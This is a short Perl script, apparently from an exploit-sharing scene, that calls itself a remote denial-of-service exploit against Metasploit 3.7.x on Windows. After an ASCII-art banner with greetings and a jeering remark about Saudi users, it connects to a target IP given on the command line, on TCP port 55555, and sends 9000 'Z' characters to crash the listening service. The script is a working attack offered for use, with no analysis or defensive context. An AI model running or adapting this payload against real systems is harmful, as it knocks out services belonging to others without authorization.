#!/usr/bin/perl
# Metasploit 3.7.x Remote Denial Of Service Exploit 
# Designed For Windows System'z :D 
# ZxH-Labs
# Greet'z 2 Inj3ct0r Team (1337Day) < My Soul :$
# Special Greet'z 2 Mr.Dh'z Mother :$ < In Love Again :$ >


print"
                                                            
           ...                                              
        ,7;MMMMM,                                           
       .MMcMM;MMM.               .                          
       cM;  :Mi X,            .7c            .;             
       YM:  .7. ,.           vAY              C8.           
       YMi .  .,7           7t2v.itnUz2tY.    i1b           
       MMv ,...,t          ;YtYCnCX1XnX1S87..;YY2Y          
      CM7  .:i: ci         .zc ,C;: ;77cYcC77c7XM.          
    .oMM         cv         9I .7X   C;YvYc7YtMS.           
   iM7M;          Mv       .c. XzM   7;;Yc7XSSi             
  :M;X;    1c:ZbZi M;      X. ;7.   :7iccYYnX               
  M;v7     :i,7itc .M;    7c7c7c   .n;cvcvYMt               
 YMiM;            .;tM,   XXYvc1S7c7ii;ccY16.               
.tM:M.              :YM    i11C;;i;icvcc7Mo.                
 1M:Mi               Mc1.     :777YX7tXt1i                  
 ,M:MM        .     :MM.;nY;Y,  .tXYYvcco                   
  CMYM7            .XM1  ,z7nC. ,ciiii,;o;                  
   i ,M8.         ;z i,  .ttzzMoX;;;7ccvCU.                 
       vZA7;...,i1c        ;;C11ii:;vXYYcM;                 
        ..c.. ii;.            ;Xi:;v7c7cX1                  
      .....   ...,.           ,SXtXtXt77Yn                  
     .,.....  ....,..         .Yiicv7Y7Y7Mi                 
   .,,.....:  .,....,i         :7c;YY7Y7Y1M,                
   .,,..,..:. ,,,..,.:          t;t7cc7;7iiM9i.             
      ..,..i  .,....       ...,vY;v;:v;vc7  .XzIt7;i..      
     .:.          ., ..   i2c.. .Yc;ccc7SM;     ..,::icc7i  
     .,              :..,12.   ,;A2nt2So7v.              6M 
                        .   ..ivci:..           .,v1b87c7Y: 
						
						
  This File Is Not For Saudi'z L4m3r'z :) It'z Only For Sexy'z'z'z'z'z :P\n\n
  
  ";
use IO::Socket;
$connectionb0x=IO::Socket::INET->new(PeerAddr=>$ARGV[0] , PeerPort=>55555 , PeerProto=>'tcp') || die "\b [+] Usage : PERL DOS.PL [IP] \n\n";
$iisbof= ("Z" x 9000)."\r\n";
print  $connectionb0x $iisbof;